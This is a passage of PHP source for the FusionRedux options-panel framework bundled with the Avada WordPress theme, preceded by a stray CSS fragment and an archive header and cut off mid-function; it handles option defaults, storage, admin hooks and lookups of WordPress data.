.fusionredux-info-field .fusionredux-info-icon { margin-left: 15px; } #fusionredux-share { float:right !important; } Avada/includes/lib/inc/redux/framework/FusionReduxCore/framework.php000064400000375641152342437710021653 0ustar00. * * @package FusionRedux_Framework * @subpackage Core * @author FusionRedux Framework Team */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'FusionReduxFrameworkInstances' ) ) { // Instance Container require_once wp_normalize_path( dirname( __FILE__ ) . '/inc/class.fusionredux_instances.php' ); require_once wp_normalize_path( dirname( __FILE__ ) . '/inc/lib.fusionredux_instances.php' ); } if ( class_exists( 'FusionReduxFrameworkInstances' ) ) { add_action( 'fusionredux/init', 'FusionReduxFrameworkInstances::get_instance' ); // @phpstan-ignore-line } // Don't duplicate me! if ( ! class_exists( 'FusionReduxFramework' ) ) { // FusionRedux CDN class require_once wp_normalize_path( dirname( __FILE__ ) . '/inc/class.fusionredux_cdn.php' ); // FusionRedux API class :) require_once wp_normalize_path( dirname( __FILE__ ) . '/inc/class.fusionredux_api.php' ); // General helper functions require_once wp_normalize_path( dirname( __FILE__ ) . '/inc/class.fusionredux_helpers.php' ); // General functions require_once wp_normalize_path( dirname( __FILE__ ) . '/inc/class.fusionredux_functions.php' ); // require_once dirname( __FILE__ ) . '/inc/class.p.php'; require_once wp_normalize_path( dirname( __FILE__ ) . '/inc/class.thirdparty.fixes.php' ); require_once wp_normalize_path( dirname( __FILE__ ) . '/inc/class.fusionredux_filesystem.php' ); require_once wp_normalize_path( dirname( __FILE__ ) . '/inc/class.fusionredux_admin_notices.php' ); // ThemeCheck checks require_once wp_normalize_path( dirname( __FILE__ ) . '/inc/themecheck/class.fusionredux_themecheck.php' ); // Welcome require_once wp_normalize_path( dirname( __FILE__ ) . '/inc/welcome/welcome.php' ); /** * Main FusionReduxFramework class * * @since 1.0.0 */ class FusionReduxFramework { // ATTENTION DEVS // Please update the build number with each push, no matter how small. // This will make for easier support when we ask users what version they are using. public static $_version = '3.5.9.8'; public static $_dir; public static $_url; public static $_upload_dir; public static $_upload_url; public static $wp_content_url; public static $base_wp_content_url; public static $_is_plugin = true; public static $_as_plugin = false; public $apiHasRun; public static function init() { $dir = FusionRedux_Helpers::cleanFilePath( dirname( __FILE__ ) ); // Windows-proof constants: replace backward by forward slashes. Thanks to: @peterbouwmeester self::$_dir = trailingslashit( $dir ); self::$wp_content_url = trailingslashit( FusionRedux_Helpers::cleanFilePath( ( is_ssl() ? str_replace( 'http://', 'https://', WP_CONTENT_URL ) : WP_CONTENT_URL ) ) ); // See if FusionRedux is a plugin or not if ( strpos( FusionRedux_Helpers::cleanFilePath( __FILE__ ), FusionRedux_Helpers::cleanFilePath( get_stylesheet_directory() ) ) !== false || strpos( FusionRedux_Helpers::cleanFilePath( __FILE__ ), FusionRedux_Helpers::cleanFilePath( get_template_directory_uri() ) ) !== false || strpos( FusionRedux_Helpers::cleanFilePath( __FILE__ ), FusionRedux_Helpers::cleanFilePath( WP_CONTENT_DIR . '/themes/' ) ) !== false ) { self::$_is_plugin = false; } else { // Check if plugin is a symbolic link, see if it's a plugin. If embedded, we can't do a thing. if ( strpos( self::$_dir, ABSPATH ) === false ) { if ( ! function_exists( 'get_plugins' ) ) { require_once wp_normalize_path( ABSPATH . 'wp-admin/includes/plugin.php' ); } $is_plugin = false; foreach ( get_plugins() as $key => $value ) { if ( fusion_is_plugin_activated( $key ) && strpos( $key, 'fusionredux-framework.php' ) !== false ) { self::$_dir = trailingslashit( FusionRedux_Helpers::cleanFilePath( WP_CONTENT_DIR . '/plugins/' . plugin_dir_path( $key ) . 'FusionReduxCore/' ) ); $is_plugin = true; } } if ( ! $is_plugin ) { self::$_is_plugin = false; } } } if ( self::$_is_plugin == true || self::$_as_plugin == true ) { self::$_url = plugin_dir_url( __FILE__ ); } else { if ( strpos( FusionRedux_Helpers::cleanFilePath( __FILE__ ), FusionRedux_Helpers::cleanFilePath( get_template_directory() ) ) !== false ) { $relative_url = str_replace( FusionRedux_Helpers::cleanFilePath( get_template_directory() ), '', self::$_dir ); self::$_url = trailingslashit( get_template_directory_uri() . $relative_url ); } else if ( strpos( FusionRedux_Helpers::cleanFilePath( __FILE__ ), FusionRedux_Helpers::cleanFilePath( get_stylesheet_directory() ) ) !== false ) { $relative_url = str_replace( FusionRedux_Helpers::cleanFilePath( get_stylesheet_directory() ), '', self::$_dir ); self::$_url = trailingslashit( get_stylesheet_directory_uri() . $relative_url ); } else { $wp_content_dir = trailingslashit( FusionRedux_Helpers::cleanFilePath( WP_CONTENT_DIR ) ); $wp_content_dir = trailingslashit( str_replace( '//', '/', $wp_content_dir ) ); $relative_url = str_replace( $wp_content_dir, '', self::$_dir ); self::$_url = trailingslashit( self::$wp_content_url . $relative_url ); } } self::$_url = apply_filters( "fusionredux/_url", self::$_url ); self::$_dir = apply_filters( "fusionredux/_dir", self::$_dir ); self::$_is_plugin = apply_filters( "fusionredux/_is_plugin", self::$_is_plugin ); } // ::init() public $framework_url = 'http://www.fusionreduxframework.com/'; public static $instance = null; public $admin_notices = array(); public $page = ''; public $saved = false; public $fields = array(); // Fields by type used in the panel public $field_sections = array(); // Section id's by field type, then field ID public $current_tab = ''; // Current section to display, cookies public $extensions = array(); // Extensions by type used in the panel public $sections = array(); // Sections and fields public $errors = array(); // Errors public $warnings = array(); // Warnings public $options = array(); // Option values public $options_defaults = null; // Option defaults public $notices = array(); // Option defaults public $required = array(); // Information that needs to be localized public $required_child = array(); // Information that needs to be localized public $localize_data = array(); // Information that needs to be localized public $fonts = array(); // Information that needs to be localized public $folds = array(); // The itms that need to fold. public $path = ''; public $changed_values = array(); // Values that have been changed on save. Orig values. public $output = array(); // Fields with CSS output selectors public $outputCSS = null; // CSS that get auto-appended to the header public $customizerCSS = null; // CSS that goes to the customizer public $fieldsValues = array(); //all fields values in an id=>value array so we can check dependencies public $fieldsHidden = array(); //all fields that didn't pass the dependency test and are hidden public $toHide = array(); // Values to hide on page load public $typography = null; //values to generate google font CSS public $import_export = null; public $no_panel = array(); // Fields that are not visible in the panel private $show_hints = false; public $hidden_perm_fields = array(); // Hidden fields specified by 'permissions' arg. public $hidden_perm_sections = array(); // Hidden sections specified by 'permissions' arg. public $typography_preview = array(); public $args = array(); public $filesystem = null; public $font_groups = array(); public $lang = ""; public $dev_mode_forced = false; public $reload_fields = array(); public $omit_share_icons = false; public $omit_admin_items = false; public $old_opt_name; public $transients; public $wp_data; public $field_head; public $transients_check; public $validation_ran; public $no_panel_section; public $field_types; /** * Class Constructor. Defines the args for the Global Options class. * * @since 1.0.0 * * @param array $sections Panel sections. * @param array $args Class constructor arguments. * @param array $extra_tabs Extra panel tabs. // REMOVE * * @return \FusionReduxFramework */ public function __construct( $sections = array(), $args = array(), $extra_tabs = array() ) { // Disregard WP AJAX 'heartbeat'call. Why waste resources? if ( isset ( $_POST ) && isset ( $_POST['action'] ) && $_POST['action'] == 'heartbeat' ) { // Hook, for purists. if ( ! has_action( 'fusionredux/ajax/heartbeat' ) ) { do_action( 'fusionredux/ajax/heartbeat', $this ); } // Buh bye! return; } // Pass parent pointer to function helper. FusionRedux_Functions::$_parent = $this; FusionRedux_CDN::$_parent = $this; FusionRedux_Admin_Notices::$_parent = $this; // Set values $this->set_default_args(); $this->args = wp_parse_args( $args, $this->args ); if ( empty ( $this->args['transient_time'] ) ) { $this->args['transient_time'] = 60 * MINUTE_IN_SECONDS; } if ( empty ( $this->args['footer_credit'] ) ) { $this->args['footer_credit'] = '' . sprintf( __( 'Options panel created using %1$s', 'Avada' ), '' . __( 'FusionRedux Framework', 'Avada' ) . ' v' . self::$_version ) . ''; } if ( empty ( $this->args['menu_title'] ) ) { $this->args['menu_title'] = __( 'Options', 'Avada' ); } if ( empty ( $this->args['page_title'] ) ) { $this->args['page_title'] = __( 'Options', 'Avada' ); } $this->old_opt_name = $this->args['opt_name']; /** * filter 'fusionredux/args/{opt_name}' * * @param array $args FusionReduxFramework configuration */ $this->args = apply_filters( "fusionredux/args/{$this->args['opt_name']}", $this->args ); /** * filter 'fusionredux/options/{opt_name}/args' * * @param array $args FusionReduxFramework configuration */ $this->args = apply_filters( "fusionredux/options/{$this->args['opt_name']}/args", $this->args ); if ( $this->args['opt_name'] == $this->old_opt_name ) { unset( $this->old_opt_name ); } // Do not save the defaults if we're on a live preview! if ( $GLOBALS['pagenow'] == "customize" && isset( $_GET['theme'] ) && ! empty( $_GET['theme'] ) ) { $this->args['save_defaults'] = false; } $this->change_demo_defaults(); if ( ! empty ( $this->args['opt_name'] ) ) { /** * SHIM SECTION * Old variables and ways of doing things that need correcting. ;) * */ // Variable name change if ( ! empty ( $this->args['page_cap'] ) ) { $this->args['page_permissions'] = $this->args['page_cap']; unset ( $this->args['page_cap'] ); } if ( ! empty ( $this->args['page_position'] ) ) { $this->args['page_priority'] = $this->args['page_position']; unset ( $this->args['page_position'] ); } if ( ! empty ( $this->args['page_type'] ) ) { $this->args['menu_type'] = $this->args['page_type']; unset ( $this->args['page_type'] ); } // Get rid of extra_tabs! Not needed. if ( is_array( $extra_tabs ) && ! empty ( $extra_tabs ) ) { foreach ( $extra_tabs as $tab ) { array_push( $this->sections, $tab ); } } // Move to the first loop area! /** * filter 'fusionredux-sections' * * @deprecated * * @param array $sections field option sections */ $this->sections = apply_filters( 'fusionredux-sections', $sections ); // REMOVE LATER /** * filter 'fusionredux-sections-{opt_name}' * * @deprecated * * @param array $sections field option sections */ $this->sections = apply_filters( "fusionredux-sections-{$this->args['opt_name']}", $this->sections ); // REMOVE LATER /** * filter 'fusionredux/options/{opt_name}/sections' * * @param array $sections field option sections */ $this->sections = apply_filters( "fusionredux/options/{$this->args['opt_name']}/sections", $this->sections ); /** * Construct hook * action 'fusionredux/construct' * * @param object $object FusionReduxFramework */ do_action( 'fusionredux/construct', $this ); // Set the default values $this->_default_cleanup(); $this->filesystem = FusionRedux_Filesystem::get_instance( $this ); //set fusionredux upload folder $this->set_fusionredux_content(); // Register extra extensions $this->_register_extensions(); // Grab database values $this->get_options(); // Options page add_action( 'admin_menu', array( $this, '_options_page' ) ); // Add a network menu if ( $this->args['database'] == "network" && $this->args['network_admin'] ) { add_action( 'network_admin_menu', array( $this, '_options_page' ) ); } // Admin Bar menu. $admin_bar_name = 'admin_bar_'; add_action( $admin_bar_name . '_menu', array( $this, '_' . $admin_bar_name . '_add_menu' ), $this->args['admin_bar_priority'] ); // Register setting add_action( 'admin_init', array( $this, '_register_settings' ) ); // Display admin notices in dev_mode if ( true == $this->args['dev_mode'] ) { if ( true == $this->args['update_notice'] ) { add_action( 'admin_init', array( $this, '_update_check' ) ); } } // Display admin notices add_action( 'admin_notices', array( $this, '_admin_notices' ), 99 ); // Check for dismissed admin notices. add_action( 'admin_init', array( $this, '_dismiss_admin_notice' ), 9 ); // Enqueue the admin page CSS and JS if ( isset ( $_GET['page'] ) && $_GET['page'] == $this->args['page_slug'] ) { add_action( 'admin_enqueue_scripts', array( $this, '_enqueue' ), 1 ); } add_action( 'wp_print_scripts', array( $this, 'vc_fixes' ), 100 ); add_action( 'admin_enqueue_scripts', array( $this, 'vc_fixes' ), 100 ); if ( $this->args['database'] == "network" && $this->args['network_admin'] ) { add_action( 'network_admin_edit_fusionredux_' . $this->args['opt_name'], array( $this, 'save_network_page' ), 10, 0 ); // add_action( $action_name, array( $this, 'network_admin_bar' ), 999 ); } // Ajax saving!!! add_action( 'wp_ajax_' . $this->args['opt_name'] . '_ajax_save', array( $this, "ajax_save" ) ); // if ( $this->args['dev_mode'] == true || FusionRedux_Helpers::isLocalHost() == true ) { // require_once 'core/dashboard.php'; // new fusionreduxDashboardWidget($this); // // if ( ! isset ( $GLOBALS['fusionredux_notice_check'] ) ) { // require_once 'core/newsflash.php'; // // $params = array( // 'dir_name' => 'notice', // 'server_file' => 'http://fusionreduxframework.com/wp-content/uploads/fusionredux/fusionredux_notice.json', // 'interval' => 3, // 'cookie_id' => 'fusionredux_blast', // ); // // new fusionreduxNewsflash( $this, $params ); // $GLOBALS['fusionredux_notice_check'] = 1; // } // } } /** * Loaded hook * action 'fusionredux/loaded' * * @param object $object FusionReduxFramework */ do_action( 'fusionredux/loaded', $this ); } // __construct() private function set_fusionredux_content() { $upload_dir = wp_upload_dir(); self::$_upload_dir = $upload_dir['basedir'] . '/fusionredux/'; self::$_upload_url = set_url_scheme( $upload_dir['baseurl'] . '/fusionredux/' ); } private function set_default_args() { $this->args = array( 'opt_name' => '', // Must be defined by theme/plugin 'google_api_key' => '', // Must be defined to update the google fonts cache for the typography module 'google_update_weekly' => false, // Set to keep your google fonts updated weekly 'last_tab' => '', // force a specific tab to always show on reload 'menu_icon' => '', // menu icon 'menu_title' => '', // menu title/text 'page_title' => '', // option page title 'page_slug' => '', 'page_permissions' => 'manage_options', 'menu_type' => 'menu', // ('menu'|'submenu') 'page_parent' => 'themes.php', // requires menu_type = 'submenu 'page_priority' => null, 'allow_sub_menu' => true, // allow submenus to be added if menu_type == menu 'save_defaults' => true, // Save defaults to the DB on it if empty 'footer_credit' => '', 'async_typography' => false, 'disable_google_fonts_link' => false, 'class' => '', // Class that gets appended to all fusionredux-containers 'admin_bar' => true, 'admin_bar_priority' => 999, // Show the panel pages on the admin bar 'admin_bar_icon' => '', // admin bar icon 'help_tabs' => array(), 'help_sidebar' => '', 'database' => '', // possible: options, theme_mods, theme_mods_expanded, transient, network 'customizer' => false, // setting to true forces get_theme_mod_expanded 'global_variable' => '', // Changes global variable from $GLOBALS['YOUR_OPT_NAME'] to whatever you set here. false disables the global variable 'output' => true, // Dynamically generate CSS 'output_tag' => true, // Print Output Tag 'output_location' => array( 'frontend' ), // Where the dynamic CSS will be added. Can be any combination from: 'frontend', 'login', 'admin' 'transient_time' => '', 'default_show' => false, // If true, it shows the default value 'default_mark' => '', // What to print by the field's title if the value shown is default 'update_notice' => true, // Recieve an update notice of new commits when in dev mode 'disable_save_warn' => false, // Disable the save warn 'open_expanded' => false, 'hide_expand' => false, // Start the panel fully expanded to start with 'network_admin' => false, // Enable network admin when using network database mode 'network_sites' => true, // Enable sites as well as admin when using network database mode 'hide_reset' => false, 'hide_save' => false, 'hints' => array( 'icon' => 'el el-question-sign', 'icon_position' => 'right', 'icon_color' => 'lightgray', 'icon_size' => 'normal', 'tip_style' => array( 'color' => 'light', 'shadow' => true, 'rounded' => false, 'style' => '', ), 'tip_position' => array( 'my' => 'top_left', 'at' => 'bottom_right', ), 'tip_effect' => array( 'show' => array( 'effect' => 'slide', 'duration' => '500', 'event' => 'mouseover', ), 'hide' => array( 'effect' => 'fade', 'duration' => '500', 'event' => 'click mouseleave', ), ), ), 'show_import_export' => true, 'show_options_object' => true, 'dev_mode' => true, 'templates_path' => '', // Path to the templates file for various FusionRedux elements 'ajax_save' => true, // Disable the use of ajax saving for the panel 'use_cdn' => true, 'cdn_check_time' => 1440, 'options_api' => true, ); } // Fix conflicts with Visual Composer. public function vc_fixes() { if ( FusionRedux_Helpers::isFieldInUse( $this, 'ace_editor' ) ) { wp_dequeue_script( 'wpb_ace' ); wp_deregister_script( 'wpb_ace' ); } } public function network_admin_bar( $wp_admin_bar ) { $args = array( 'id' => $this->args['opt_name'] . '_network_admin', 'title' => $this->args['menu_title'], 'parent' => 'network-admin', 'href' => network_admin_url( 'settings.php' ) . '?page=' . $this->args['page_slug'], 'meta' => array( 'class' => 'fusionredux-network-admin' ) ); $wp_admin_bar->add_node( $args ); } public function save_network_page() { $data = $this->_validate_options( $_POST[ $this->args['opt_name'] ] ); if ( ! empty ( $data ) ) { $this->set_options( $data ); } wp_redirect( add_query_arg( array( 'page' => $this->args['page_slug'], 'updated' => 'true' ), network_admin_url( 'settings.php' ) ) ); exit (); } public function _update_check() { // Only one notice per instance please if ( ! isset ( $GLOBALS['fusionredux_update_check'] ) ) { FusionRedux_Functions::updateCheck( self::$_version ); $GLOBALS['fusionredux_update_check'] = 1; } } public function _admin_notices() { FusionRedux_Admin_Notices::adminNotices( $this->admin_notices ); } public function _dismiss_admin_notice() { FusionRedux_Admin_Notices::dismissAdminNotice(); } /** * @return FusionReduxFramework */ public function get_instance() { //self::$_instance = $this; return self::$instance; } // get_instance() /** * ->_get_default(); This is used to return the default value if default_show is set * * @since 1.0.1 * @access public * * @param string $opt_name The option name to return * @param mixed $default (null) The value to return if default not set * * @return mixed $default */ public function _get_default( $opt_name, $default = null ) { if ( $this->args['default_show'] == true ) { if ( empty ( $this->options_defaults ) ) { $this->_default_values(); // fill cache } $default = array_key_exists( $opt_name, $this->options_defaults ) ? $this->options_defaults[ $opt_name ] : $default; } return $default; } // _get_default() /** * ->get(); This is used to return and option value from the options array * * @since 1.0.0 * @access public * * @param string $opt_name The option name to return * @param mixed $default (null) The value to return if option not set * * @return mixed */ public function get( $opt_name, $default = null ) { return ( ! empty ( $this->options[ $opt_name ] ) ) ? $this->options[ $opt_name ] : $this->_get_default( $opt_name, $default ); } // get() /** * ->set(); This is used to set an arbitrary option in the options array * * @since 1.0.0 * @access public * * @param string $opt_name The name of the option being added * @param mixed $value The value of the option being added * * @return void */ public function set( $opt_name = '', $value = '' ) { if ( $opt_name != '' ) { $this->options[ $opt_name ] = $value; $this->set_options( $this->options ); } } // set() /** * Set a global variable by the global_variable argument * * @since 3.1.5 * @return bool (global was set) */ private function set_global_variable() { if ( $this->args['global_variable'] ) { $option_global = $this->args['global_variable']; /** * filter 'fusionredux/options/{opt_name}/global_variable' * * @param array $value option value to set global_variable with */ $GLOBALS[ $this->args['global_variable'] ] = apply_filters( "fusionredux/options/{$this->args['opt_name']}/global_variable", $this->options ); if ( isset ( $this->transients['last_save'] ) ) { // Deprecated $GLOBALS[ $this->args['global_variable'] ]['REDUX_last_saved'] = $this->transients['last_save']; // Last save key $GLOBALS[ $this->args['global_variable'] ]['REDUX_LAST_SAVE'] = $this->transients['last_save']; } return true; } return false; } // set_global_variable() /** * ->set_options(); This is used to set an arbitrary option in the options array * * @since FusionReduxFramework 3.0.0 * * @param mixed $value the value of the option being added */ public function set_options( $value = '' ) { $this->transients['last_save'] = time(); if ( ! empty ( $value ) ) { $this->options = $value; if ( $this->args['database'] === 'transient' ) { set_transient( $this->args['opt_name'] . '-transient', $value, $this->args['transient_time'] ); } else if ( $this->args['database'] === 'theme_mods' ) { set_theme_mod( $this->args['opt_name'] . '-mods', $value ); } else if ( $this->args['database'] === 'theme_mods_expanded' ) { foreach ( $value as $k => $v ) { set_theme_mod( $k, $v ); } } else if ( $this->args['database'] === 'network' ) { // Strip those slashes! $value = json_decode( stripslashes( json_encode( $value ) ), true ); update_site_option( $this->args['opt_name'], $value ); } else { update_option( $this->args['opt_name'], $value ); } // Store the changed values in the transient if ( $value != $this->options ) { foreach ( $value as $k => $v ) { if ( ! isset ( $this->options[ $k ] ) ) { $this->options[ $k ] = ""; } else if ( $v == $this->options[ $k ] ) { unset ( $this->options[ $k ] ); } } $this->transients['changed_values'] = $this->options; } $this->options = $value; // Set a global variable by the global_variable argument. $this->set_global_variable(); // Saving the transient values $this->set_transients(); //do_action( "fusionredux-saved-{$this->args['opt_name']}", $value ); // REMOVE //do_action( "fusionredux/options/{$this->args['opt_name']}/saved", $value, $this->transients['changed_values'] ); } } // set_options() /** * ->get_options(); This is used to get options from the database * * @since FusionReduxFramework 3.0.0 */ public function get_options() { $defaults = false; if ( ! empty ( $this->defaults ) ) { $defaults = $this->defaults; } if ( $this->args['database'] === "transient" ) { $result = get_transient( $this->args['opt_name'] . '-transient' ); } else if ( $this->args['database'] === "theme_mods" ) { $result = get_theme_mod( $this->args['opt_name'] . '-mods' ); } else if ( $this->args['database'] === 'theme_mods_expanded' ) { $result = get_theme_mods(); } else if ( $this->args['database'] === 'network' ) { $result = get_site_option( $this->args['opt_name'], array() ); $result = json_decode( stripslashes( json_encode( $result ) ), true ); } else { $result = get_option( $this->args['opt_name'], array() ); $result = '' === $result ? [] : $result; } if ( empty ( $result ) && ! empty ( $defaults ) ) { $results = $defaults; $this->set_options( $results ); } else { $this->options = $result; } /** * action 'fusionredux/options/{opt_name}/options' * * @param mixed $value option values */ $this->options = apply_filters( "fusionredux/options/{$this->args['opt_name']}/options", $this->options ); // Get transient values $this->get_transients(); // Set a global variable by the global_variable argument. $this->set_global_variable(); } // get_options() /** * ->get_wordpress_date() - Get Wordpress specific data from the DB and return in a usable array * * @since FusionReduxFramework 3.0.0 */ public function get_wordpress_data( $type = false, $args = array() ) { $data = ""; //return $data; /** * filter 'fusionredux/options/{opt_name}/wordpress_data/{type}/' * * @deprecated * * @param string $data */ $data = apply_filters( "fusionredux/options/{$this->args['opt_name']}/wordpress_data/$type/", $data ); // REMOVE LATER /** * filter 'fusionredux/options/{opt_name}/data/{type}' * * @param string $data */ $data = apply_filters( "fusionredux/options/{$this->args['opt_name']}/data/$type", $data ); $argsKey = ""; foreach ( $args as $key => $value ) { if ( ! is_array( $value ) ) { $argsKey .= $value . "-"; } else { $argsKey .= implode( "-", $value ); } } if ( empty ( $data ) && isset ( $this->wp_data[ $type . $argsKey ] ) ) { $data = $this->wp_data[ $type . $argsKey ]; } if ( empty ( $data ) && ! empty ( $type ) ) { /** * Use data from Wordpress to populate options array * */ if ( ! empty ( $type ) && empty ( $data ) ) { if ( empty ( $args ) ) { $args = array(); } $data = array(); $args = wp_parse_args( $args, array() ); if ( $type == "categories" || $type == "category" ) { $cats = get_categories( $args ); if ( ! empty ( $cats ) ) { foreach ( $cats as $cat ) { $data[ $cat->term_id ] = $cat->name; } //foreach } // If } else if ( $type == "menus" || $type == "menu" ) { $menus = wp_get_nav_menus( $args ); if ( ! empty ( $menus ) ) { foreach ( $menus as $item ) { $data[ $item->term_id ] = $item->name; } //foreach } //if } else if ( $type == "pages" || $type == "page" ) { if ( ! isset ( $args['posts_per_page'] ) ) { $args['posts_per_page'] = 20; } $pages = get_pages( $args ); if ( ! empty ( $pages ) ) { foreach ( $pages as $page ) { $data[ $page->ID ] = $page->post_title; } //foreach } //if } else if ( $type == "terms" || $type == "term" ) { $taxonomies = $args['taxonomies']; unset ( $args['taxonomies'] ); $terms = get_terms( $taxonomies, $args ); // this will get nothing if ( ! empty ( $terms ) && ! is_a( $terms, 'WP_Error' ) ) { foreach ( $terms as $term ) { $data[ $term->term_id ] = $term->name; } //foreach } // If } else if ( $type == "taxonomy" || $type == "taxonomies" ) { $taxonomies = get_taxonomies( $args ); if ( ! empty ( $taxonomies ) ) { foreach ( $taxonomies as $key => $taxonomy ) { $data[ $key ] = $taxonomy; } //foreach } // If } else if ( $type == "posts" || $type == "post" ) { $posts = get_posts( $args ); if ( ! empty ( $posts ) ) { foreach ( $posts as $post ) { $data[ $post->ID ] = $post->post_title; } //foreach } //if } else if ( $type == "post_type" || $type == "post_types" ) { global $wp_post_types; $defaults = array( 'public' => true, 'exclude_from_search' => false, ); $args = wp_parse_args( $args, $defaults ); $output = 'names'; $operator = 'and'; $post_types = get_post_types( $args, $output, $operator ); ksort( $post_types ); foreach ( $post_types as $name => $title ) { if ( isset ( $wp_post_types[ $name ]->labels->menu_name ) ) { $data[ $name ] = $wp_post_types[ $name ]->labels->menu_name; } else { $data[ $name ] = ucfirst( $name ); } } } else if ( $type == "tags" || $type == "tag" ) { // NOT WORKING! $tags = get_tags( $args ); if ( ! empty ( $tags ) ) { foreach ( $tags as $tag ) { $data[ $tag->term_id ] = $tag->name; } //foreach } //if } else if ( $type == "menu_location" || $type == "menu_locations" ) { global $_wp_registered_nav_menus; foreach ( $_wp_registered_nav_menus as $k => $v ) { $data[ $k ] = $v; } } else if ( $type == "image_size" || $type == "image_sizes" ) { global $_wp_additional_image_sizes; foreach ( $_wp_additional_image_sizes as $size_name => $size_attrs ) { $data[ $size_name ] = $size_name . ' - ' . $size_attrs['width'] . ' x ' . $size_attrs['height']; } } else if ( $type == "elusive-icons" || $type == "elusive-icon" || $type == "elusive" || $type == "font-icon" || $type == "font-icons" || $type == "icons" ) { /** * filter 'fusionredux-font-icons' * * @deprecated * * @param array $font_icons array of elusive icon classes */ $font_icons = apply_filters( 'fusionredux-font-icons', array() ); // REMOVE LATER /** * filter 'fusionredux/font-icons' * * @deprecated * * @param array $font_icons array of elusive icon classes */ $font_icons = apply_filters( 'fusionredux/font-icons', $font_icons ); /** * filter 'fusionredux/{opt_name}/field/font/icons' * * @deprecated * * @param array $font_icons array of elusive icon classes */ $font_icons = apply_filters( "fusionredux/{$this->args['opt_name']}/field/font/icons", $font_icons ); foreach ( $font_icons as $k ) { $data[ $k ] = $k; } } else if ( $type == "roles" ) { /** @global WP_Roles $wp_roles */ global $wp_roles; $data = $wp_roles->get_names(); } else if ( $type == "sidebars" || $type == "sidebar" ) { /** @global array $wp_registered_sidebars */ global $wp_registered_sidebars; foreach ( $wp_registered_sidebars as $key => $value ) { $data[ $key ] = $value['name']; } } else if ( $type == "capabilities" ) { /** @global WP_Roles $wp_roles */ global $wp_roles; foreach ( $wp_roles->roles as $role ) { foreach ( $role['capabilities'] as $key => $cap ) { $data[ $key ] = ucwords( str_replace( '_', ' ', $key ) ); } } } else if ( $type == "callback" ) { if ( ! is_array( $args ) ) { $args = array( $args ); } $data = call_user_func( $args[0] ); } else if ( $type == "users" || $type == "users" ) { $users = get_users( $args ); if ( ! empty ( $users ) ) { foreach ( $users as $user ) { $data[ $user->ID ] = $user->display_name; } //foreach } //if } //if } //if $this->wp_data[ $type . $argsKey ] = $data; } //if return $data; } // get_wordpress_data() /** * ->show(); This is used to echo and option value from the options array * * @since 1.0.0 * @access public * * @param string $opt_name The name of the option being shown * @param mixed $default The value to show if $opt_name isn't set * * @return void */ public function show( $opt_name, $default = '' ) { $option = $this->get( $opt_name ); if ( ! is_array( $option ) && $option != '' ) { echo $option; } elseif ( $default != '' ) { echo $this->_get_default( $opt_name, $default ); } } // show() /** * Get the default value for an option * * @since 3.3.6 * @access public * * @param string $key The option's ID * @param string $array_key The key of the default's array * * @return mixed */ public function get_default_value( $key, $array_key = false ) { if ( empty ( $this->options_defaults ) ) { $this->options_defaults = $this->_default_values(); } $defaults = $this->options_defaults; $value = ''; if ( isset ( $defaults[ $key ] ) ) { if ( $array_key !== false && isset ( $defaults[ $key ][ $array_key ] ) ) { $value = $defaults[ $key ][ $array_key ]; } else { $value = $defaults[ $key ]; } } return $value; } public function field_default_values( $field ) { // Detect what field types are being used if ( ! isset ( $this->fields[ $field['type'] ][ $field['id'] ] ) ) { $this->fields[ $field['type'] ][ $field['id'] ] = 1; } else { $this->fields[ $field['type'] ] = array( $field['id'] => 1 ); } if ( isset ( $field['default'] ) ) { $this->options_defaults[ $field['id'] ] = $field['default']; } elseif ( ( $field['type'] != "ace_editor" ) ) { // Sorter data filter if ( isset( $field['data'] ) && ! empty( $field['data'] ) ) { if ( ! isset( $field['args'] ) ) { $field['args'] = array(); } if ( is_array( $field['data'] ) && ! empty( $field['data'] ) ) { foreach ( $field['data'] as $key => $data ) { if ( ! empty( $data ) ) { if ( ! isset ( $field['args'][ $key ] ) ) { $field['args'][ $key ] = array(); } $field['options'][ $key ] = $this->get_wordpress_data( $data, $field['args'][ $key ] ); } } } else { $field['options'] = $this->get_wordpress_data( $field['data'], $field['args'] ); } } if ( $field['type'] == "sorter" && isset ( $field['data'] ) && ! empty ( $field['data'] ) && is_array( $field['data'] ) ) { if ( ! isset ( $field['args'] ) ) { $field['args'] = array(); } foreach ( $field['data'] as $key => $data ) { if ( ! isset ( $field['args'][ $key ] ) ) { $field['args'][ $key ] = array(); } $field['options'][ $key ] = $this->get_wordpress_data( $data, $field['args'][ $key ] ); } } if ( isset ( $field['options'] ) ) { if ( $field['type'] == "sortable" ) { $this->options_defaults[ $field['id'] ] = array(); } elseif ( $field['type'] == "image_select" ) { $this->options_defaults[ $field['id'] ] = ''; } elseif ( $field['type'] == "select" ) { $this->options_defaults[ $field['id'] ] = ''; } else { $this->options_defaults[ $field['id'] ] = $field['options']; } } } } /** * Get default options into an array suitable for the settings API * * @since 1.0.0 * @access public * @return array $this->options_defaults */ public function _default_values() { if ( ! is_null( $this->sections ) && is_null( $this->options_defaults ) ) { // fill the cache foreach ( $this->sections as $sk => $section ) { if ( ! isset ( $section['id'] ) ) { if ( ! is_numeric( $sk ) || ! isset ( $section['title'] ) ) { $section['id'] = $sk; } else { $section['id'] = sanitize_title( $section['title'], $sk ); } $this->sections[ $sk ] = $section; } if ( isset ( $section['fields'] ) ) { foreach ( $section['fields'] as $k => $field ) { if ( empty ( $field['id'] ) && empty ( $field['type'] ) ) { continue; } if ( in_array( $field['type'], array( 'ace_editor' ) ) && isset ( $field['options'] ) ) { $this->sections[ $sk ]['fields'][ $k ]['args'] = $field['options']; unset ( $this->sections[ $sk ]['fields'][ $k ]['options'] ); } if ( $field['type'] == "section" && isset ( $field['indent'] ) && $field['indent'] == "true" ) { $field['class'] = isset ( $field['class'] ) ? $field['class'] : ''; $field['class'] .= " fusionredux-section-indent-start"; $this->sections[ $sk ]['fields'][ $k ] = $field; } $this->field_default_values( $field ); } } } } /** * filter 'fusionredux/options/{opt_name}/defaults' * * @param array $defaults option default values */ $this->transients['changed_values'] = isset ( $this->transients['changed_values'] ) ? $this->transients['changed_values'] : array(); $this->options_defaults = apply_filters( "fusionredux/options/{$this->args['opt_name']}/defaults", $this->options_defaults, $this->transients['changed_values'] ); return $this->options_defaults; } /** * Set default options on admin_init if option doesn't exist * * @since 1.0.0 * @access public * @return void */ private function _default_cleanup() { // Fix the global variable name if ( $this->args['global_variable'] == "" && $this->args['global_variable'] !== false ) { $this->args['global_variable'] = str_replace( '-', '_', $this->args['opt_name'] ); } // Force dev_mode on WP_DEBUG = true and if it's a local server if ( FusionRedux_Helpers::isLocalHost() || ( FusionRedux_Helpers::isWpDebug() ) ) { if 